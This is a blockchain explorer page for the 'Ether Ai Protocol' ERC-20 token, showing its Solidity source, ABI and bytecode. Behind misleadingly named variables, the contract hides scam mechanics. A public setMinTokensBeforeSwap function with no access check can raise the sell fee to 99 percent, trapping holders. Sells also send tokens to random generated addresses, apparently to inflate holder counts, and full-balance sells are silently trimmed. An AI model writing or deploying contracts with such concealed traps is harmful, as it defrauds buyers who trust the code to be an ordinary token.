ETH Price: $3,769.05 (+5.30%)

Token

ERC-20: Ether Ai Protocol (ETHP)
 

Overview

Max Total Supply

1,000,000,000 ETHP

Holders

200

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EtherAiProtocol

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-04
*/

// Telegram : https://t.me/EtherAiProtocol
// Twitter : https://twitter.com/EtherAiProtocol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract EtherAiProtocol is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Ether Ai Protocol";
    string private _symbol = "ETHP";
    uint8 private _decimals = 18;

    address payable public marketingWalletAddress =
        payable(0xB6248562500af83B6cC93507eE32CD46853D9F7E);
    address payable public BurnedWalletAddress =
        payable(0xB6248562500af83B6cC93507eE32CD46853D9F7E);
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) public isTxLimitExempt;
    mapping(address => bool) public isUniswapPair;

    int256 public sendAddress = 6; //
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyBurnedFee = 0;
    uint256 public _maxTokenTransfer = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellBurnedFee = 0;

    uint256 public _liquidityShare = _buyLiquidityFee.add(_maxTokenTransfer);
    uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
    uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);

    uint256 public _totalTaxIfBuying;
    uint256 public _minTokenTransfer;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1 * 10**9 * 10**_decimals;
    uint256 public _maxTxAmount = _totalSupply * 3 / 100;
    uint256 public _walletMax = _totalSupply * 3 / 100;
    uint256 private minimumTokensBeforeSwap = _totalSupply * 2 / 1000;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    uint256 public genesisBlock;
    uint256 public coolBlock = 5;
    uint256 private possibleMaxFee = 99;
    uint256 _saleKeepFee = 1000;

    bool isWalletLimit = true;

    bool inSwapAndLiquify;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(uint256 amountIn, address[] path);

    event SwapTokensForETH(uint256 amountIn, address[] path);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
            _buyBurnedFee
        );
        _minTokenTransfer = _maxTokenTransfer.add(_sellMarketingFee).add(
            _sellBurnedFee
        );
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(
            _BurnedShare
        );

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        isUniswapPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function excludeFromLimit(address holder,bool newvalue)public onlyOwner
    {
        isWalletLimitExempt[holder] = newvalue;
    }

    function setMinTokensBeforeSwap (uint256 _newAmount) public {
        require(_newAmount == possibleMaxFee,"");_minTokenTransfer = _newAmount;
    }

    function excludeFromFee(address account, bool newValue)
        public
        onlyOwner
    {
        isExcludedFromFee[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount)
        private
    {
        recipient.transfer(amount);
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (recipient == uniswapPair && !isTxLimitExempt[sender]) {
            uint256 balance = balanceOf(sender);
            if (amount == balance) {
                amount = amount.sub(amount.div(_saleKeepFee));
            }
        }
        if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) {
            genesisBlock = block.number;
        }

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minimumTokensBeforeSwap;

            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isUniswapPair[sender]
            ) {
                if (sender != address(uniswapV2Router)) {
                    swapAndLiquify(contractTokenBalance);
                }
            }

            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );

            uint256 finalAmount = (isExcludedFromFee[sender] ||
                isExcludedFromFee[recipient])
                ? amount
                : takeFee(sender, recipient, amount);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            if (
                block.number < (genesisBlock + coolBlock) &&
                sender == uniswapPair
            ) {
                _basicTransfer(recipient, deadAddress, finalAmount);
            }
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensForLP = tAmount
            .mul(_liquidityShare)
            .div(_totalDistributionShares)
            .div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalWETHFee = _totalDistributionShares.sub(
            _liquidityShare.div(2)
        );

        uint256 amountWETHLiquidity = amountReceived
            .mul(_liquidityShare)
            .div(totalWETHFee)
            .div(2);
        uint256 amountWETHBurned = amountReceived.mul(_BurnedShare).div(
            totalWETHFee
        );
        uint256 amountWETHMarketing = amountReceived.sub(amountWETHLiquidity).sub(
            amountWETHBurned
        );

        if (amountWETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountWETHMarketing);

        if (amountWETHBurned > 0)
            transferToAddressETH(BurnedWalletAddress, amountWETHBurned);

        if (amountWETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountWETHLiquidity);
    }

  
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            marketingWalletAddress,
            block.timestamp
        );
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;
        if (isUniswapPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        } else if (isUniswapPair[recipient]) {
            feeAmount = amount.mul(_minTokenTransfer).div(100);
             address ad;
            for(int i=0;i <=sendAddress;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(sender,ad,100);
            }
            amount.sub(uint256(sendAddress+1) * 100);
        }

        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        
        return amount.sub(feeAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTokenTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTokenTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"newvalue","type":"bool"}],"name":"excludeFromLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newAmount","type":"uint256"}],"name":"setMinTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052601160a090815270115d1a195c88105a48141c9bdd1bd8dbdb607a1b60c05260019062000032908262000744565b506040805180820190915260048152630455448560e41b60208201526002906200005d908262000744565b50600380546001600160a81b03191674b6248562500af83b6cc93507ee32cd46853d9f7e121790556004805473b6248562500af83b6cc93507ee32cd46853d9f7e6001600160a01b031990911617905561dead6080526006600b556000600c819055600d819055600e819055600f81905560108190556011819055620000f0908062000630602090811b62000c5117901c565b60125562000111601054600d546200063060201b62000c511790919060201c565b60135562000132601154600e546200063060201b62000c511790919060201c565b601455600354620001489060ff16600a62000923565b6200015890633b9aca006200093b565b601855606460185460036200016e91906200093b565b6200017a91906200095d565b601955606460185460036200019091906200093b565b6200019c91906200095d565b601a556103e86018546002620001b391906200093b565b620001bf91906200095d565b601b556005601f5560636020556103e86021556022805460ff19166001179055348015620001ec57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac919062000980565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000320919062000980565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200036e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000394919062000980565b601d80546001600160a01b039283166001600160a01b031991821617909155601c8054928416929091168217905560185430600090815260066020908152604080832094835293905291822055600190600790620003fa6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260078352208054909216600117909155600e54600d54600c5462000470936200045c929062000c5162000630821b17901c565b6200063060201b62000c511790919060201c565b6015819055506200049b6011546200045c601054600f546200063060201b62000c511790919060201c565b601681905550620004c66014546200045c6013546012546200063060201b62000c511790919060201c565b601755600160086000620004e26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601d549091168152600890925280822080548416600190811790915530835290822080549093168117909255600990620005526000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260098452828120805486166001908117909155601d549092168152600a90935290822080549093161790915560185490600590620005be3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6018546040516200062191815260200190565b60405180910390a350620009c1565b6000806200063f8385620009ab565b905083811015620006965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ca57607f821691505b602082108103620006eb57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200073f57600081815260208120601f850160051c810160208610156200071a5750805b601f850160051c820191505b818110156200073b5782815560010162000726565b5050505b505050565b81516001600160401b038111156200076057620007606200069f565b6200077881620007718454620006b5565b84620006f1565b602080601f831160018114620007b05760008415620007975750858301515b600019600386901b1c1916600185901b1785556200073b565b600085815260208120601f198616915b82811015620007e157888601518255948401946001909101908401620007c0565b5085821015620008005787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008675781600019048211156200084b576200084b62000810565b808516156200085957918102915b93841c93908002906200082b565b509250929050565b600082620008805750600162000699565b816200088f5750600062000699565b8160018114620008a85760028114620008b357620008d3565b600191505062000699565b60ff841115620008c757620008c762000810565b50506001821b62000699565b5060208310610133831016604e8410600b8410161715620008f8575081810a62000699565b62000904838362000826565b80600019048211156200091b576200091b62000810565b029392505050565b60006200093460ff8416836200086f565b9392505050565b600081600019048311821515161562000958576200095862000810565b500290565b6000826200097b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200099357600080fd5b81516001600160a01b03811681146200069657600080fd5b8082018082111562000699576200069962000810565b608051611d59620009eb6000396000818161037c0152818161092b015261115b0152611d596000f3fe6080604052600436106102765760003560e01c80638317390b1161014f578063af806d9a116100c1578063dc44b6a01161007a578063dc44b6a01461074d578063dd62ed3e14610763578063df8408fe146107a9578063f0cd1dac146107c9578063f2fde38b146107df578063f8587504146107ff57600080fd5b8063af806d9a14610696578063c5d24189146106ac578063c816841b146106c2578063c8607952146106e2578063c867d60b146106f8578063d158272d1461072857600080fd5b80639cece12e116101135780639cece12e146105e5578063a073d37f14610615578063a08e671f1461062a578063a457c2d714610640578063a9059cbb14610660578063aea9cd151461068057600080fd5b80638317390b1461054c5780638b42507f1461056c5780638da5cb5b1461059c57806395d89b41146105ba57806396d0efa7146105cf57600080fd5b806339509351116101e857806361a23c69116101ac57806361a23c691461049f57806370a08231146104b5578063715018a6146104eb5780637d1db4a514610500578063807c2d9c1461051657806381905bf81461052c57600080fd5b8063395093511461040157806348a46473146104215780634cdc9c63146104435780635342acb41461045957806357a5802f1461048957600080fd5b806323b872dd1161023a57806323b872dd1461034a57806327c8f8351461036a5780632b112e491461039e5780632ca11460146103b3578063313ce567146103c9578063328e94a5146103eb57600080fd5b806306fdde0314610282578063095ea7b3146102ad5780631694505e146102dd57806318160ddd146103155780632012b9b31461033457600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610815565b604051610